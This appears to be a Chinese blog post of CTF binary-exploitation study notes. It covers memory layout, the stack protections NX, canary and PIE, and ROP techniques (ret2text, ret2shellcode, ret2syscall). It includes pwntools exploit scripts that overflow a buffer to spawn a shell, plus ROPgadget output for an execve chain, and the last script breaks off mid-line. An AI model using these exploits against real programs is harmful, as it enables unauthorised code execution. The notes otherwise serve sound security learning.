PWN学习

puts函数在输出后会自动加上\n

Linux指令

sudo chmod +x 文件名 改变权限
在这里插入图片描述

*setvbuf函数

gdb指令

PIE时下断点 b *$rebase(0x )
在这里插入图片描述
在这里插入图片描述

pwntools函数

程序装载与虚拟内存

在这里插入图片描述
objdump -s elf
cat /proc/pid/maps
在这里插入图片描述
虚拟地址空间(虚拟内存):CPU是直接读取物理内存的,但物理内存的地址对于程序员来说不友好,所以经过OS(操作系统)分页机制的转换,形成地址连续的虚拟地址空间
在这里插入图片描述
glibc在物理内存中只存一份,在不同进程中被载入多次

在这里插入图片描述

CPU与进程的执行

在这里插入图片描述
在这里插入图片描述
bss主要的一个作用是存放未初始化的全局变量,未运行时没有值,不占磁盘空间,运行时会赋值,占内存空间

在这里插入图片描述
终端 file 文件 LSB是小端序 LMB是大端序
在这里插入图片描述

r开头的寄存器8字节,e开头的寄存器4字节

装载与汇编

在这里插入图片描述

  • fork()是将当前进程复制一份,之后执行execve()用新的可执行二进制文件代码替换新进程的代码,以此创建新进程

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述


在这里插入图片描述
在这里插入图片描述

保护

NX 堆栈不可执行

canary

在这里插入图片描述
在这里插入图片描述

bypass

在这里插入图片描述
在这里插入图片描述
函数执行结束之后检查canary

PIE

在这里插入图片描述

bypass

在这里插入图片描述

栈溢出

栈是一种后进先出的数据结构。栈结构示意图如下(以32位程序为例):
在这里插入图片描述

  • 栈空间是从高地址向低地址增长的。
  • 但是,若函数中用到了数组作为局部变量时,向数组的赋值时的增长方向是从低地址到高地址的,与栈的增长方向相反。若对未限制数组的赋值边界,则可能对数组进行恶意的越界写入,便会把栈中的数据覆盖,造成栈溢出漏洞。
  • 需要注意的是,32 位和 64 位程序有以下简单的区别
  • x86
    函数参数在函数返回地址的上方
  • x64
    前六个整型或指针参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 寄存器中,如果还有更多的参数的话才会保存在栈上。
    内存地址不能大于 0x00007FFFFFFFFFFF,6 个字节长度,否则会抛出异常。

如果对覆盖栈的内容进行精心构造,就可以在返回地址的位置填入我们希望函数返回的位置,从而劫持程序的执行。由于在编写栈利用 shellcode 过程中都需要用到ret指令,所以这样的利用方式被成为ROP

面对返回编程
ROP(Return-oriented programming)是指面向返回编程。在32位系统的汇编语言中,ret相当于pop EIP,即将栈顶的数据赋值给 EIP,并从栈弹出。所以如果控制栈中数据,是可以控制程序的执行流的。由于 NX 保护让我们无法直接执行栈上的 shellcode,那么就可以考虑在程序的可执行的段中通过 ROP 技术执行我们的 shellcode。初级的 ROP 技术包括 ret2text,ret2shellcode,ret2syscall,ret2libc。

随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。

之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP 攻击一般得满足如下条件

  • 程序存在溢出,并且可以控制返回地址。
  • 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。
    如果 gadgets 每次的地址是不固定的,那我们就需要想办法动态获取对应的地址了。

在这里插入图片描述

ret2text

ret2text 即控制程序执行程序本身已有的的代码 (.text)。
其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。

这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。

ret2shellcode

ret2shellcode,即控制程序执行 shellcode 代码。
shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。

在栈溢出的基础上,要想执行 shellcode,需要对应的 binary (二进制)在运行时,shellcode 所在的区域具有可执行权限。

gdb通过 vmmap,我们可以看到 bss 段对应的段具有可执行权限

from pwn import *
context(arch="amd64",os="linux",log_level="debug")
p = process("./ret2shellcode")
elf = ELF("./ret2shellcode")
jmp_esp = elf.search(asm('jmp rsp')).next()
shellcode = asm(shellcraft.sh())
payload = "A" * 0xd8 + p64(jmp_esp) + shellcode 
p.sendline(payload)
p.interactive()

from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()

ret2syscall

ret2syscall,即控制程序执行系统调用,获取 shell。

简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell

execve("/bin/sh",NULL,NULL)
  • 0xb 为 execve 对应的系统调用号。

其中,该程序是 32 位,所以我们需要使得

  • 系统调用号,即 eax 应该为 0xb
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0
  • 在这里插入图片描述

控制这些寄存器的值,这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。

 ret2syscall ROPgadget --binary rop  --only 'pop|ret' | grep 'eax'

此外,我们需要获得 /bin/sh 字符串对应的地址。

➜  ret2syscall ROPgadget --binary rop  --string '/bin/sh' 
Strings information
============================================================
0x080be408 : /bin/sh

此外,还有 int 0x80 的地址

➜  ret2syscall ROPgadget --binary rop  --only 'int'                 
Gadgets information
============================================================
0x08049421 : int 0x80
0x080938fe : int 0xbb
0x080869b5 : int 0xf6
0x0807b4d4 : int 0xfc

Unique gadgets found: 4
#!/usr/bin/env python
from pwn import *

sh = process('./rop'
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值